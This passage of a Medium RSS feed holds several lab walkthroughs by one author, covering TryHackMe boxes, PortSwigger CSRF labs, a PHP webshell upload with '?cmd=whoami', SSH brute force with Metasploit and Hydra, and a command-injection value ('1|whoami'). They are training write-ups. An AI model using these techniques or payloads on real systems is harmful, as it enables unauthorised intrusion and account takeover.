/></figure><ul><li>I found additional directories and analyzed them.</li><li>We will open both links.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*Iee8vfqO2MaXYUFV9X-VoA.png" /><figcaption>Assets Directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*RS3ABVy_JvGH1Bn_SS52OQ.png" /><figcaption>Admin Directory</figcaption></figure><ul><li>Conduct further directory busting on the admin section.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xd9Kpzgj4BSKF3oKv6Op6Q.png" /></figure><p>Now I’ll go there. I found the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pyf3HQNStjTIYNBn4cEUag.png" /></figure><p><strong>6-Exploiting Additional Vulnerabilities:</strong></p><ul><li>Check input fields and upload options for vulnerabilities.</li><li>Test Stored XSS in new input fields:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gyTpX_oX06PDH7oJnL-_A.png" /></figure><ul><li>Confirmed the vulnerability by seeing the script execution.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6z6msLx395WMAkQTexHQpw.png" /></figure><p><strong>7-Uploading Malicious Scripts:</strong></p><ul><li>I checked &amp; they were uploading PNG files, not another.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4oyMZyW54iMGOAbnp84klQ.png" /></figure><ul><li>Upload an image with a malicious script embedded.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7gyTpX_oX06PDH7oJnL-_A.png" /></figure><ul><li>Use Burp Suite to intercept the upload request.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*GxVdhvSQqf0e-NKiQ_H5NQ.png" /></figure><ul><li>Modify the image content to include PHP code.</li><li>Change file extension from <strong>.png</strong> to <strong>.php</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klSxc8NWwg4zBTvmf9-Ppg.png" /></figure><ul><li>Successfully upload the file.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*EKmZ1vtEl6VmLkYMvvjVJA.png" /></figure><blockquote><strong>Next, navigate to the home page, refresh it, and locate the latest image with the payload. Right-click to open this image in a new tab.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uDzw7cSbcyXcRC88emBQcg.png" /></figure><ul><li>Execute the script by accessing the uploaded file:</li><li>Change the URL extension from .png to .php and append a command:</li></ul><pre>?cmd=whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wAd7gIFZp7CxnuwK-S8K1A.png" /></figure><p><strong>Conclusion<br></strong>Through this project, I identified multiple vulnerabilities, including <strong>XSS</strong>, <strong>SQL Injection</strong>, and <strong>improper file handling</strong>, which attackers could exploit. Addressing these issues is crucial for enhancing the website’s security posture.</p><p>This writeup is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=57ac2d67a67e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Neighbour Box Write-Up]]></title>
            <link>https://ahmadnazir19470.medium.com/tryhackme-neighbour-box-write-up-3079046daab8?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/3079046daab8</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Sun, 23 Jun 2024 06:01:51 GMT</pubDate>
            <atom:updated>2024-06-23T06:01:51.652Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*ZPNYuWoA7gEuxORaAi29wA.png" /></figure><p>I recently tackled the TryHackMe “Neighbour” box, and I wanted to share a detailed write-up of the process. This exercise involved exploring a cloud service named Authentication Anywhere, designed to allow users to log in from any location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SgE50GfFV1hL3C8EWu9b1Q.png" /></figure><p><strong>Step 1: Setup and Initial Access</strong></p><ul><li><strong>Deploy the Machines:</strong> I started by deploying both the vulnerable machine and the TryHackMe AttackBox from the platform.</li><li><strong>Connect to VPN:</strong> I downloaded the VPN configuration file and connected to the VPN to access the target machine securely.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*01wuHb-i5jWuyc4lndGNbw.png" /></figure><ul><li><strong>Identify Target IP:</strong> The target machine was assigned the IP address 10.10.124.194.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMiyxAoDEImznqxjI094uQ.png" /></figure><p><strong>Step 2: Scanning and Discovery</strong></p><ul><li><strong>Ping and Scan:</strong> After connecting to the VPN, I verified connectivity by pinging the target IP. Then, I conducted an aggressive scan using Nmap to identify open ports and services.</li></ul><pre>nmap -A 10.10.124.194</pre><ul><li><strong>Open Ports:</strong> The scan revealed two open ports:</li><li><strong>Port 80 (HTTP)</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*etry79BVNqtgrCm6WUCalQ.png" /></figure><p><strong>Step 3: Accessing the Web Application</strong></p><ul><li><strong>Visit Port 80:</strong> I accessed the web application by navigating to <a href="http://10.10.124.194/">http://10.10.124.194</a> in my browser. The site presented a login page.</li></ul><p><strong>Step 4: Intercepting Traffic</strong></p><ul><li><strong>Log in as Guest:</strong> I logged in using the credentials for a guest account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1drnL-IbACl4-uBkjjYDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HVlBwkHa3u6n621ZQrqdvg.png" /></figure><ul><li><strong>BurpSuite Interception:</strong> Using BurpSuite, I intercepted the GET request after logging in. I then sent this request to BurpSuite’s Repeater tool for modification.</li></ul><p><strong>Step 5: Exploiting the Vulnerability</strong></p><ul><li><strong>Modify the Path:</strong> In the Repeater, I altered the request path from /guest to /admin to escalate privileges.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*MPRnBlCjp4tdPZk5dA0sjQ.png" /></figure><ul><li><strong>Retrieve the Flag:</strong> Upon sending the modified request, the server responded with the admin page content, which contained the flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*VUU3dbkewQE7ZPpesdK7Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5KJ5mzmJQPOI8c9SpE2lRQ.png" /></figure><p><strong>Conclusion</strong></p><ul><li>This exercise was a fantastic way to practice web application penetration testing techniques, especially leveraging BurpSuite for intercepting and modifying web traffic. It reinforced the importance of securing web applications against such common yet potentially damaging attacks.</li></ul><p>This writeup is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3079046daab8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-site request forgery (CSRF)]]></title>
            <link>https://ahmadnazir19470.medium.com/cross-site-request-forgery-csrf-c1b8c1f9ff86?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1b8c1f9ff86</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Sat, 15 Jun 2024 06:52:46 GMT</pubDate>
            <atom:updated>2024-07-12T07:38:26.454Z</atom:updated>
            <content:encoded><![CDATA[<p>What is CSRF?<br>Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y5h_gWWec4l1cb6q-w-bIQ.jpeg" /></figure><p><strong>What is the impact of a CSRF attack?</strong><br>In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application’s data and functionality.</p><p><strong>How does CSRF work?</strong><br>For a CSRF attack to be possible, three key conditions must be in place:</p><ul><li><strong>A relevant action</strong></li><li><strong>Cookie-based session handling</strong></li><li><strong>No unpredictable request parameters</strong></li></ul><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 1: CSRF vulnerability with no defenses</em></strong></p><p>This lab’s email change functionality is vulnerable to CSRF.To solve the lab, craft some HTML that uses a <a href="https://portswigger.net/web-security/csrf">CSRF attack</a> to change the viewer’s email address and upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*WYOJKwGGUJGlhekDFmb3BA.png" /></figure><p><strong>Step 1:</strong> Login and Update Email</p><ul><li>Login with the provided credentials.</li><li>Navigate to the profile settings to update the email address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*YkUpOqtYMFeRRhhIrTdtkw.png" /></figure><p><strong>Step 2:</strong> Capture the Request in Burp Suite</p><ul><li>Use Burp Suite to intercept the email update request.</li><li>Forward the request to the Repeater tab for further inspection.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*vsW0x4hldByJSOM_w-5Azg.png" /></figure><p><strong>Step 3:</strong> Inspect and Modify the Request</p><ul><li>Review the intercepted request in the Repeater to ensure all parameters are correct.</li><li>Proceed to the next step once the request is verified.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*VV2sjH970ABxvxZpWOC_aA.png" /></figure><p><strong>Step 4:</strong> Go to the Exploit Server</p><ul><li>Click on “Go to exploit server” in Burp Suite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*Gx7JPBV_PiBq14ELPI22Gw.png" /></figure><p><strong>Step 5:</strong> Modify the Form</p><ul><li>Change the form’s input name and value as required.</li><li>Copy the link from the Burp Suite request and set it as the form action.<br>Set the input type to “hidden” and use the attacker’s email address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*xBqzw0w7oY_PPTywxS3giQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wC3pQnfMFBOvLA5F3yaXDg.png" /></figure><p><strong>Step 6:</strong> Store and View Exploits</p><ul><li>Use the store and view exploit option to review the modifications.</li><li>Ensure everything is correct before proceeding.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3VY2MWnBOOAXDV6AiaSHkQ.png" /></figure><p><strong>Step 7:</strong> Deliver the Exploit</p><ul><li>Click on “deliver exploit to victim” to execute the attack.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eb4m6VchL4rntZNL2joOBg.png" /></figure><p><strong>Final Step:</strong> Verify</p><ul><li>Confirm that the email address has been successfully updated to the attacker’s email.</li><li><strong>Lab solved.</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHpAPM7mGK8vmWZHl-97qg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 2: CSRF where token validation depends on request method</em></strong></p><p>This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address. You can log in to your own account using the following credentials: wiener:peter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*p9DrcdKHZGQx_Rqc8X2zag.png" /></figure><p><strong>1-Login to the Application</strong></p><ul><li>Use the provided credentials to log in to your account.</li><li>Username: wiener</li><li>Password: peter</li></ul><p><strong>2-Capture the Email Change Request</strong></p><ul><li>Navigate to the email change functionality in the application.</li><li>Use Burp Suite to intercept the request when changing the email address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*gepAqAQgdRY3I-fWvbX1cw.png" /></figure><p><strong>3-Send Request to Repeater</strong></p><ul><li>Forward the intercepted request to Burp Suite’s Repeater.</li><li>Verify the details of the request in the Repeater tab to ensure it is correctly captured.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*JVHGX6mvFYcPDOE5c34sWQ.png" /></figure><p><strong>4-Modify the Request Method</strong></p><ul><li>In the Repeater, change the request method from POST to GET.<br>By changing the request method, you are altering how the request is sent to the server. Some applications do not enforce CSRF protection on GET requests.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FeItnRlrmINgFUvYg1EFRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dj1OzRVHpx2641-Mw3Grww.png" /></figure><p><strong>5-Remove the CSRF Token</strong></p><ul><li>Remove the CSRF token from the request.</li><li>This step is crucial to test if the server incorrectly validates CSRF tokens for GET requests.</li></ul><p><strong>6-Prepare the Exploit</strong></p><ul><li>Retrieve a suitable CSRF payload from GitHub and we use <strong>(GET no user interaction expoit).</strong></li><li>Copy the payload template to your exploit server.</li></ul><p><strong>7-Craft the Malicious HTML Page</strong></p><ul><li>Modify the payload to include the intercepted request URL from Burp Suite.</li><li>Change the email parameter to the attacker’s email address.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hheqiiRlpYYvRhjYzBpwBA.png" /></figure><p><strong>8-Host the Exploit &amp; Deliver the Exploit</strong></p><ul><li>Store the crafted HTML page on your exploit server.</li><li>Ensure the page is accessible and correctly formatted to execute the CSRF attack.</li><li>Use social engineering or another method to deliver the link to the victim.</li><li>When the victim visits the link, their email address will be changed without their consent.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*4AL-70LHT9bJI_LnF6cv2A.png" /></figure><p><strong>9-Confirm the Exploit</strong></p><ul><li>Verify that the email address has been changed to the attacker’s email by logging in to the victim’s account or checking the email change logs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*irHosLS8naAF9hQ9WQtzuw.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 3: CSRF where token validation depends on token being present</em></strong><br><br>This lab’s email change functionality is vulnerable to CSRF. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address. You can log in to your own account using the following credentials: wiener:peter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZPdp9R-2G9W2KPX0NUvRuA.png" /></figure><p><strong>Step 1:</strong> Log in to the Application</p><ul><li>Open your web browser and navigate to the web application.</li><li>Log in using the following credentials:</li><li>Username: wiener</li><li>Password: peter</li></ul><p><strong>Step 2: </strong>Capture the Email Change Request</p><ul><li>Open Burp Suite and ensure it is configured to intercept traffic from your web browser.</li><li>In the web application, navigate to the email change functionality.</li><li>Change the email address to any value and submit the form.</li><li>Burp Suite will capture the request. Right-click on the captured request and send it to the Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*wGSXtY4dmroe6t_52Qs8lA.png" /></figure><p><strong>Step 3:</strong> Verify the Email Change Request</p><ul><li>In Burp Suite, navigate to the Repeater tab.</li><li>Review the request details to confirm that it successfully changes the email address.<br>Make note of the request method, URL, and parameters.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Og3PcJmws3IXcet0w2J7pQ.png" /></figure><p><strong>Step 4:</strong> Create the CSRF Exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CTGPwAyOaL-Rou7YlhX2gw.png" /></figure><p><strong>Step 5:</strong> Host the Exploit on the Exploit Server<br><strong>Step 6:</strong> Deliver the Exploit to the Victim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t_YEX-bExnGLBiZeiFsS3A.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>Lab 4: CSRF where token is not tied to user session</em></strong></p><p>In the lab scenario provided, the email change functionality of the application is vulnerable to Cross-Site Request Forgery (CSRF) attacks due to inadequate integration of CSRF tokens with the session handling system. CSRF tokens, which are typically used to mitigate such attacks by tying requests to the user’s session, are not properly implemented in this case.</p><p>To exploit this vulnerability and solve the lab, the following steps can be taken:</p><p><strong>1-Identify CSRF Token:</strong></p><ul><li>Log in to the application using your Burp Suite browser. Submit the “Update Email” form and intercept the request to obtain the CSRF token value.</li><li><strong>Username: wiener</strong></li><li><strong>Password: peter</strong></li><li><strong>Username: carlos</strong></li><li><strong>Password: montoya</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5RBXNMcagscNMnZSTp3jzw.png" /></figure><p><strong>2-Switch Accounts:</strong></p><ul><li>Open a private/incognito browser window and log in to another account on the same application. Capture the request to update the email address in Burp Repeater.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jDzQQcv8eA-wgMn7nL5Ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yvZScpJiIX-2-NWYPHjP3w.png" /></figure><p><strong>3-Swap CSRF Tokens:</strong></p><ul><li>Notice that swapping the CSRF token from one account’s request with another account’s token allows the request to be successfully executed, indicating the CSRF vulnerability.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8jDzQQcv8eA-wgMn7nL5Ow.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQSF68fvnf1H89IOHcaE9g.png" /></figure><p><strong>4-Create Exploit Page:</strong></p><ul><li>Host an HTML page on your exploit server that includes a form mimicking the “Update email” functionality. Include a fresh CSRF token obtained from your session and modify the email address to change it to a different value.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCUBVxAEHYAy82__UicI7A.png" /></figure><p><strong>5-Exploit Execution:</strong></p><ul><li>Deliver this exploit page to the victim (the user whose email you intend to change). When the victim accesses the malicious page (likely through social engineering tactics), the form will submit a request to update their email address using the valid CSRF token from your session.</li></ul><p><strong>Solve the Lab:</strong> Once the exploit is executed successfully and the email address is changed as per your instructions, the lab will be considered solved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HboZrxY7wfDqa9bo5qUBw.jpeg" /></figure><p>This write-up is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1b8c1f9ff86" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Surfer TryHackMe Box Walkthrough]]></title>
            <link>https://ahmadnazir19470.medium.com/surfer-tryhackme-box-walkthrough-fb7a42d0789c?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb7a42d0789c</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Fri, 14 Jun 2024 07:55:29 GMT</pubDate>
            <atom:updated>2024-06-23T05:38:38.411Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*C5y8LmZG7-NSuUzeyFbXzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t8Y1U-kemO5E3hBRtuE9cA.png" /></figure><p><strong>1-Login to TryHackMe:</strong></p><ul><li>Log in to your TryHackMe account on the platform’s website.</li></ul><p><strong>2-Download VPN File:</strong></p><ul><li>Navigate to the Surfer room and download the VPN configuration file provided.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*qL_GkvtMJ5dvlUqvIMlT0g.png" /></figure><p><strong>3-Connect to VPN:</strong></p><ul><li>Use your preferred VPN client to establish a connection using the downloaded configuration file for secure access.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3fcH1CAr_KBE9gBb9OCZOQ.png" /></figure><p><strong>4-Scan the IP:</strong></p><ul><li>Employ a network scanning tool like nmap to scan the allocated IP address for open ports and services.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tCa4Y7EXOuQ5ExngSswtFw.png" /></figure><p><strong>5-Explore the Website:</strong></p><ul><li>Visit the identified IP address along with the specified port (e.g., 10.10.227.110:80) in a web browser to access the web application.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2FZeJcZ_sTmRfvR4jW4Pvg.png" /></figure><p><strong>6-Directory Busting:</strong></p><ul><li>Download a directory listing file such as directory-list-2.3-medium.txt from the provided GitHub link to perform directory busting.</li></ul><pre>wget https://github.com/danielmiessler/SecLists/raw/master/Discovery/Web-Content/directory-list-2.3-medium.txt</pre><p><strong>7-Identify Credentials:</strong></p><ul><li>Obtain the username and password (e.g., admin) from the provided chat or any available sources.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*sDnMxWHTYhYTiYPkRFuZ1A.png" /></figure><p><strong>8-Fetch File:</strong></p><ul><li>Utilize the acquired credentials to access restricted areas of the website and retrieve the expo2pdf file.</li></ul><p><strong>9-Modify URL:</strong></p><ul><li>Adjust the URL by appending the appropriate path to access the desired file (e.g., changing from /server-info.php to /admin.php).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*xJ01MMopdofkYdU_fBMnyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hmm35ipKtO_8MObUhu8O8A.png" /></figure><p><strong>10-Access Flag:</strong></p><ul><li>Copy the URL of the response after making the necessary modifications and open it in a web browser to retrieve the flag.<br>Alternatively, right-click and select “Show response in browser” to directly view the flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4XT6H4jOs7fvq7tdsPE_Jw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*taiZRCmbUmLW5AB2Xu45-Q.png" /></figure><p><strong>11-Completion:</strong></p><ul><li>With the flag successfully obtained, the Surfer TryHackMe box is considered solved.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*kTsF3AHfa7Xt1RHWR7x83g.png" /></figure><p>This writeup is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb7a42d0789c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brooklyn Nine-Nine TryHackMe Box Walkthrough]]></title>
            <link>https://ahmadnazir19470.medium.com/brooklyn-nine-nine-tryhackme-box-walkthrough-69864b98776f?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/69864b98776f</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Fri, 14 Jun 2024 07:41:11 GMT</pubDate>
            <atom:updated>2024-06-23T05:38:17.321Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bJSPiznuuWxn29u8AEgx3A.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1006/1*qeZhv2b9hXl4Ho6xCVj7kg.png" /></figure><p><strong>1-Initiating Scan:</strong></p><ul><li>Start the enumeration process by initiating a scan using the provided URL.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v8Pq-aH7hRu1O60ZvUev0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*U1R0m4P1H28zTli3kV777w.png" /></figure><p><strong>2-FTP Exploration:</strong></p><ul><li>Upon completion of the scan, identify an FTP service with anonymous login allowed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fl9-LRpPG92tjj22KgifbQ.png" /></figure><p><strong>3-Accessing FTP:</strong></p><ul><li>Utilize the anonymous login to access the FTP server.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/1*B-6PJm_YUX7caIrPAj2UKA.png" /></figure><p><strong>4-Listing Files:</strong></p><ul><li>Use the ls command to view the contents of the FTP server, identifying a single file.</li></ul><p><strong>5-Downloading File:</strong></p><ul><li>Download the identified file from the FTP server to the local directory using the get command.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*TG-uXv1oJmgy5aRz49Ey8w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*mVXMsH7z8Sy9hsOu4p8fKg.png" /></figure><p><strong>6-MSFConsole Setup:</strong></p><ul><li>Launch the Metasploit Framework Console (MSFConsole) to begin further exploitation.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*dFF6jCnjCpZCSFIMuMhjFg.png" /></figure><p><strong>7-Searching for SSH Exploits:</strong></p><ul><li>Search for SSH exploits within Metasploit, focusing on the auxiliary/scanner/ssh/ssh_login payload.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BLq9wl5r-TSjx_hDQmZD9A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/283/1*CqkZXFkULB1xU6XIKgYkjg.png" /></figure><p><strong>8-Configuring Payload:</strong></p><ul><li>Set the required options such as RHOSTS, USERNAME, and PASS_FILE to proceed with the exploit.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zERqmX34UVxItJR9zpuhGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fs6wx8Eq2V8S3FQ7eSzwMA.png" /></figure><p><strong>9-Exploiting SSH:</strong></p><ul><li>Execute the exploit to retrieve the password for the SSH login.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R82pCoWB90Pe-qGIwboKzw.png" /></figure><p><strong>10-Accessing SSH Session:</strong></p><ul><li>Upon successful login, view the active sessions using the sessions command and interact with the SSH session using the -i flag.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*7E70mC5NnYZsn5j7w5bv0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*WYBn_EoBhCTIWOdHIWb-vg.png" /></figure><p><strong>11-Navigating File System:</strong></p><ul><li>Explore the file system within the SSH session, navigating to the required directory (e.g., cd /home/holt).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*xTnHiwXd73cOszLUIctZ4w.png" /></figure><p><strong>12-Retrieving Flag:</strong></p><ul><li>Locate and retrieve the flag from the specified directory, marking the completion of the box.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J2HJFFHaj226w2MYzWeP6w.png" /></figure><p><strong>13-Alternative Method — Hydra:</strong></p><ul><li>Alternatively, utilize the Hydra tool to perform a brute-force attack on the SSH login credentials.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAymCBBkNUchZ2d9-0tAOw.png" /></figure><p>This writeup is finished here. <strong>Stay tuned for the next one!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69864b98776f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Command Injection]]></title>
            <link>https://ahmadnazir19470.medium.com/os-command-injection-246d79b6225a?source=rss-a2cfab60e6c5------2</link>
            <guid isPermaLink="false">https://medium.com/p/246d79b6225a</guid>
            <dc:creator><![CDATA[Ahmed Nazeer]]></dc:creator>
            <pubDate>Sun, 09 Jun 2024 06:35:35 GMT</pubDate>
            <atom:updated>2024-06-09T06:36:36.017Z</atom:updated>
            <content:encoded><![CDATA[<p>In this section, we explain what OS command injection is, and describe how vulnerabilities can be detected and exploited. We also show you some useful commands and techniques for different operating systems, and describe how to prevent OS command injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*T3nL1AceOmoLPYn8zacnhg.png" /></figure><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p><strong><em>1- OS Command Injection: Simple Case </em></strong><br><br>This write-up details the exploitation of an OS command injection vulnerability in a product stock checker application to determine the server’s current user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZsPjg2R2ATZXchArvabaWg.png" /></figure><p><strong>Tools Required</strong></p><ul><li>Burp Suite</li></ul><p><strong>Objective</strong></p><ul><li>Execute the whoami command to retrieve the server’s current user.</li></ul><p><strong>Steps</strong></p><p><strong>1-Intercept the Request:</strong></p><ul><li>Configure your browser to use Burp Suite’s proxy.</li><li>Navigate to the stock checker on the target site and submit arbitrary product and store IDs.</li><li>Intercept the HTTP request in Burp Suite.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T79qlzG1FiNu5jZ-kGKzBw.png" /></figure><p><strong>2-Modify the Request:</strong></p><ul><li>Change the storeID parameter to 1|whoami.</li><li>After that we encode the comment out parameter which is #</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JrPRoddANDn0XnItTlfLeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4TmM__Cj3OkFFoEJe20--A.png" /></figure><p><strong>3-Forward the Request:</strong></p><ul><li>Forward the modified request to the server.</li></ul><p><strong>4-Analyze the Response:</strong></p><ul><li>Check the server’s response for the output of the whoami command, which reveals the current user’s name.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/354/1*YdBKSbLh5oS2iB-denFjmg.png" /></figure><p>The original command is</p><ul><li><strong>productId=1+|whoami+ #&amp;storeId=</strong></li></ul><p>We changed it into this because we encode the 